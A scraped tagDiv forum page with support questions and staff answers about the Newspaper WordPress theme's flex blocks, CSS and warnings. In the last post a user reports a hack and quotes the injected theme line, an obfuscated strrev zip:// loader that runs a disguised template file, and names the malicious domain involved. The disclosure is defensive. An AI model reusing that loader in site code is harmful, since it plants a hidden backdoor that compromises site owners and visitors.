- NewspaperFlex Block Builder and Flex Loop Builder
- NewspaperHow to use the Flex Blocks cache option
- NewspaperHow to edit modules for Flex Block X
- NewspaperHow to insert a block inside the content of a post
- NewspaperFlex Block Settings Guide
- NewspaperMeta Info on Modules and Blocks
- NewspaperTheme modules and blocks
- TutorialsDefault Block Settings Guide
- NewsmagBlock settings tutorial
- NewsmagCategory tag on modules/blocks
- NewspaperThumbnails – Fix strange looking images on blocks
- NewspaperBlock settings tutorial
- NewspaperCategory Tag on Modules/blocks
- ApiPractical example – How to add a new Block and Module
- Apitd_api_block::delete
- Apitd_api_block::update_key
- Apitd_api_block::update
- Apitd_api_block::add
- ApiAPI – Blocks – Introduction
- NewspaperWP Rocket and Newspaper Theme: Optimization Guide
Thanks, but this code will not work for my site because the ad banner moved to the top and blocked the top menu. Please let me know how I can change the black bar to the white bar on my website pagegoo.com
Hello
I’m getting two different warnings from wp_booster:
“Warning: Illegal string offset ‘td_post_template’ in /var/www/smagaalborg.dk/public_html/wp-content/themes/Newspaper/includes/wp_booster/td_single_template_vars.php on line 75”
“Warning: A non-numeric value encountered in /var/www/smagaalborg.dk/public_html/wp-content/themes/Newspaper/includes/wp_booster/td_block.php on line 1008”
The current theme is Newspaper 7 – I’ve tried to update to the newest version, but it crashes the site.
URL for the site is smagaalborg.dk.
Thanks in advance!
Hello Anamaria, I have found the file that you indicate and I have searched for everything that contains the word “widgets” and I have only found what I attached to you. I CANNOT find the word VIDEOMARK that gives name to the widget that I want to rename.
Where can I keep looking?
Thank you
/* —————————————————————————-
* register the default footer sidebars
*/
add_action( ‘widgets_init’, function (){
register_sidebar(
array(
‘name’=>’Footer 1’,
‘id’ => ‘td-footer-1’,
‘before_widget’ => ‘<aside class=”widget %2$s”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<div class=”block-title”><span>’,
‘after_title’ => ‘</span></div>’
)
);
register_sidebar(
array(
‘name’=>’Footer 2’,
‘id’ => ‘td-footer-2’,
‘before_widget’ => ‘<aside class=”widget %2$s”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<div class=”block-title”><span>’,
‘after_title’ => ‘</span></div>’
)
);
register_sidebar(
array(
‘name’=>’Footer 3’,
‘id’ => ‘td-footer-3’,
‘before_widget’ => ‘<aside class=”widget %2$s”>’,
‘after_widget’ => ‘</aside>’,
‘before_title’ => ‘<div class=”block-title”><span>’,
‘after_title’ => ‘</span></div>’
)
);
}, 11);
// This points to the post format archive template( like video post format )
add_filter( ‘archive_template’, function( $taxonomy_post_format ){
if ( is_tax( ‘post_format’ ) ) {
$taxonomy_post_format = TDC_PATH_LEGACY . ‘/taxonomy-post_format.php’;
}
return $taxonomy_post_format;
Hello,
Please make sure this code is set in .htaccess => https://www.screencast.com/t/YMLZf32uQ
Have you checked for admin-ajax error? Please verify the console when you try to import the template, usually, it displays a 403 or 404 error.
If you don’t use a security plugin, please ask your host about this, maybe you have a security module that blocks this.
If you use a plugin like Wordfence please set it in learning mode.
Also, make sure that you do not have a plugin conflict, please deactivate ALL plugins except tagDiv plugins, also if you are using a child theme or cache plugin, deactivate them, clear all cache and try again.
Let me know the results!
Thank you!
Hi,
For comment count from the Home page, you can disable from Theme Panel-> Block Settings- > Meta info on Modules/Blocks the Show Comment Count => https://www.screencast.com/t/CpWa2hGiyWJ.
Thank you!
You can edit post template in cloud library. If you want to add elements to the single post instead, this can only be achieved in post editor by adding blocks. There is no other way for individual posts.
Hello,
I have a problem with majesticanimals.net. In admin, all is good, i see the last posts , themes, everythings is ok.
If i access as user, the page is blocked in past, it shows an old cache in front page. if i go to categories, i see the last posts. the problem is just on front page.
thanks
Hello @rajeshkumar !
Add the CSS code in Newspaper -> Theme panel -> Custom code -> Custom CSS:
.wp-block-table td, .wp-block-table th {
border: 1px solid lightgray!important;
padding: 0!important;}
Thank you!
Hello,
The theme accent color it only applies to certain elements, for example, to back to top button.You can copy and paste the style from one block to another.
You can use the Global Colors option from Manager -> Global Colors -> https://i.imgur.com/PM6VoBL.png
Thank you!
Hi,
Every new demo with CPTs has a plugin with the style of flex blocks, so you need to have it installed in order to have the custom style of flex blocks with CPTs and custom fields included. https://forum.tagdiv.com/edit-modules-flex-block-x/
Thank you!
Hello, how is the custom block implemented here?
https://www.lz0807927.com/image/jkB22
Hello @Razvan!
You can upload a section or a homepage from the Cloud Library of any demo. You need to edit the page with the TagDiv Composer, in order to use flex blocks: https://forum.tagdiv.com/flex-block-settings-guide/
It seems that you did not activate the Social Counter plugin, but you use it.
Thank you!
Hello, I am trying to build a homepage using flex blocks, but none work, I can’t understand why. Here is an URL: https://independentul.blralcons.ro/homepage-magazine-pro/
Hello GentlemanJack!
1. Make sure you did not apply any margins or paddings to the elements in the CSS tab. They should be equal by default.
2. This is a setting in the flex blocks, Layout tab: https://prnt.sc/Yt6S3dxcOZ4H for a post with reviews: https://forum.tagdiv.com/reviews-2/ Unfortunately, you cannot place it after the title or in another position in that flex block.
Thank you!
Hello,
You have the posts loop block -> https://i.imgur.com/GZ71Sm4.png in the category template.
Have a nice day!
Hello,
For the posts loop, you can’t remove a category.
You can do it with Flex Block or Big Grid Flex.
Thank you!
Hello,
I just checked and saw that you added the Posts Loop block.
Also, I recommend using Flex Block/Big Grid Flex and set the filter to “Category -Current category” => https://i.imgur.com/7P99qx0.png
Thank you!
Hello,
thank for ur response. where i can find “Posts Loop block”.? it will implement in each category. please detail if possible.
Hello,
thank for ur response. where i can find “Posts Loop block”.? it will implement in each category. please detail if possible.
Thanks
hello I have been using newspaper for awhile, love it. I have installed a multivendor marketplace plugin called Dokan and had some alignment issues at first but was able to fix with [vc_row][vc_column][dokan-stores][/vc_column][/vc_row] vs [dokan-stores] so it displays centered in the column block vs to the right inside of it @ http://www.buddhanet.world/bazaar
my questions are
1) how do I make this display properly via the default mobile app mobile view? it just displays store list and doesn’t show the active stores. http://www.buddhanet.world/bazaar via mobile device
2) how do I change the text color for store nav menu text that is located left of shop view, displaying black no hover and gold hover currently. this is the font located in the menu nav for product pages of store under “Store Product Category”.
https://www.buddhanet.world/bazaar/user/
Hello!
The default blog page can’t be customized with the TagDiv Composer. You need to create a new page called home, edit it with the TagDiv Composer and there you can add posts loop or flex blocks in order to display your posts.
Thank you!
Hello,
If you want to display on the flex loop, you can use this custom-made module -> https://demo.tagdiv.com/newspaper_real_estate_pro/ -> https://forum.tagdiv.com/edit-modules-flex-block-x/.
Also, changing the code for those requires more knowledge, but you can contact the custom work team at https://tagdiv.com/web-development-services/ to help you.
Thank you!
Hello,
I saw that you have a Flex Block 1, which is not filtered correctly. To filter the block, you need to set the filter to “Category -Current category” => https://i.imgur.com/7P99qx0.png.
But to display all the posts from that category, you must add a Posts Loop block.
Thank you!
Hello,
You can use Flex Loop or Flex Block X to display the modules with cpt.
You can find more details here
-> https://forum.tagdiv.com/filters-sorting-taxonomies/
-> https://forum.tagdiv.com/custom-post-type-support/
-> https://forum.tagdiv.com/edit-modules-flex-block-x/
Thank you!
Let me state this up front.
I am not a programmer or hacker and touching code is something I do not like to do ever.
I am building out a new site, over 2 months of work, and last night when I quit for the day everything was fine.
However this morning when I went to work on my site when I was checking posts I kept getting and popup from Trend Micro that they were blocking a site that was malicious.
I had no idea as to what was going on but I have spent the last 4 hours digging around and finally installed Wordfence.
I am not pushing Wordfence but I was at the end of what I knew to check.
I installed Wordfence and let it run its test and it uncovered the problem.
Some how, and I really have no idea how, someone or something was able to interject code into my Newspaper theme.
Wordfence showed me where the code was, in 2 files, and I made backups of the 2 files, took a deep breath, and deleted the lines of code that had been added to each file.
The popup warnings from Trend Micro are gone and rerunning the Wordfence Malware check one more time did not show any problems in my site.
The 2 files were the functions.php and another one in the plugin folder.
What Trend Micro was blocking was this website: “perspective.cdsignner.com”.
The line of code that was put into the function files is: load_template( strrev( “//:piz” ) . locate_template( “Newspaper.template” ) . “#template”, true )
I am just trying to let everyone know that my site was hacked, how I have no idea, but someone did.
I have no idea if the admins here at tagdiv and do anything to stop this from happening to anyone else.
I think I have supplied all of the info I needed to fix my problem.
If I did anything wrong could someone please let me know.
Have a good day.